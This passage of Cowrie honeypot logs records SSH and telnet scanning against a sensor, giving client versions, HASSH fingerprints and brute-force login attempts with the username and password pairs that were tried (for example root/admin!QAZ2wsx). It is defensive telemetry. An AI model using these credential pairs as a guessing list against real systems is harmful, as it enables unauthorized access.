","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:37.560627Z","src_ip":"159.203.92.129","session":"f820c95b40aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Sabbil","password":"Sabbil123","message":"login attempt [Sabbil/Sabbil123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:37.570723Z","src_ip":"159.203.92.129","session":"f820c95b40aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:48:38.577263Z","src_ip":"159.203.92.129","session":"f820c95b40aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":51626,"dst_ip":"159.203.135.109","dst_port":22,"session":"edcaa9f8baf5","protocol":"ssh","message":"New connection: 170.79.37.88:51626 (159.203.135.109:22) [session: edcaa9f8baf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:49:05.069693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:49:05.075204Z","src_ip":"170.79.37.88","session":"edcaa9f8baf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:49:05.184791Z","src_ip":"170.79.37.88","session":"edcaa9f8baf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1a2s3","message":"login attempt [ubuntu/1a2s3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:49:05.642593Z","src_ip":"170.79.37.88","session":"edcaa9f8baf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:49:06.756473Z","src_ip":"170.79.37.88","session":"edcaa9f8baf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50498,"dst_ip":"159.203.135.109","dst_port":22,"session":"1aaaa30d749b","protocol":"ssh","message":"New connection: 159.203.92.129:50498 (159.203.135.109:22) [session: 1aaaa30d749b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:49:19.102398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:49:19.107625Z","src_ip":"159.203.92.129","session":"1aaaa30d749b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:49:19.116235Z","src_ip":"159.203.92.129","session":"1aaaa30d749b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Saturn","password":"123456","message":"login attempt [Saturn/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:49:19.127981Z","src_ip":"159.203.92.129","session":"1aaaa30d749b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:49:20.134471Z","src_ip":"159.203.92.129","session":"1aaaa30d749b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00232815742493,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:49:20.877710Z","src_ip":"191.9.35.16","session":"d6058b889c7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.9.35.16","src_port":35182,"dst_ip":"10.17.0.5","dst_port":23,"session":"627488aada3f","protocol":"telnet","message":"New connection: 191.9.35.16:35182 (10.17.0.5:23) [session: 627488aada3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:49:22.596829Z"}
{"eventid":"cowrie.session.closed","duration":120.0038685798645,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:49:27.019229Z","src_ip":"191.9.35.16","session":"f425fdaae0eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.9.35.16","src_port":35622,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ff00b07874f","protocol":"telnet","message":"New connection: 191.9.35.16:35622 (10.17.0.5:23) [session: 8ff00b07874f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:49:28.718156Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.62.66","src_port":53207,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd74eb1c799d","protocol":"ssh","message":"New connection: 177.54.62.66:53207 (10.17.0.5:22) [session: cd74eb1c799d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:49:32.583874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:49:32.588484Z","src_ip":"177.54.62.66","session":"cd74eb1c799d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:49:32.723938Z","src_ip":"177.54.62.66","session":"cd74eb1c799d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak3","password":"ts3user","message":"login attempt [teamspeak3/ts3user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:49:33.303218Z","src_ip":"177.54.62.66","session":"cd74eb1c799d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:49:34.441956Z","src_ip":"177.54.62.66","session":"cd74eb1c799d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":41966,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbfdb2093697","protocol":"ssh","message":"New connection: 170.79.37.88:41966 (159.203.135.109:22) [session: fbfdb2093697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:49:49.618191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:49:49.622015Z","src_ip":"170.79.37.88","session":"fbfdb2093697","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:49:49.725525Z","src_ip":"170.79.37.88","session":"fbfdb2093697","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"spider","message":"login attempt [admin/spider] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:49:50.174726Z","src_ip":"170.79.37.88","session":"fbfdb2093697","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:49:51.283808Z","src_ip":"170.79.37.88","session":"fbfdb2093697","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.164.9.74","src_port":35956,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1b44dc79a7f","protocol":"ssh","message":"New connection: 103.164.9.74:35956 (159.203.135.109:22) [session: e1b44dc79a7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:50:00.305529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:50:00.311119Z","src_ip":"103.164.9.74","session":"e1b44dc79a7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:50:00.540750Z","src_ip":"103.164.9.74","session":"e1b44dc79a7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52240,"dst_ip":"159.203.135.109","dst_port":22,"session":"554ee311ff9c","protocol":"ssh","message":"New connection: 159.203.92.129:52240 (159.203.135.109:22) [session: 554ee311ff9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:50:01.529927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:50:01.540570Z","src_ip":"159.203.92.129","session":"554ee311ff9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:50:01.584728Z","src_ip":"159.203.92.129","session":"554ee311ff9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Saturn","password":"Saturn","message":"login attempt [Saturn/Saturn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:50:01.800276Z","src_ip":"159.203.92.129","session":"554ee311ff9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:50:02.923290Z","src_ip":"159.203.92.129","session":"554ee311ff9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":36592,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d3207fea959","protocol":"ssh","message":"New connection: 170.79.37.88:36592 (159.203.135.109:22) [session: 7d3207fea959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:50:30.929057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:50:30.934491Z","src_ip":"170.79.37.88","session":"7d3207fea959","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:50:31.036958Z","src_ip":"170.79.37.88","session":"7d3207fea959","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!QAZ2wsx","message":"login attempt [root/admin!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:50:31.469001Z","src_ip":"170.79.37.88","session":"7d3207fea959","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:50:32.572357Z","src_ip":"170.79.37.88","session":"7d3207fea959","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.62.66","src_port":60668,"dst_ip":"10.17.0.5","dst_port":22,"session":"69ca7e85fcc8","protocol":"ssh","message":"New connection: 177.54.62.66:60668 (10.17.0.5:22) [session: 69ca7e85fcc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:50:38.874542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:50:38.879470Z","src_ip":"177.54.62.66","session":"69ca7e85fcc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:50:39.013638Z","src_ip":"177.54.62.66","session":"69ca7e85fcc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user12","password":"user12","message":"login attempt [user12/user12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:50:39.569397Z","src_ip":"177.54.62.66","session":"69ca7e85fcc8","protocol":"ssh"}
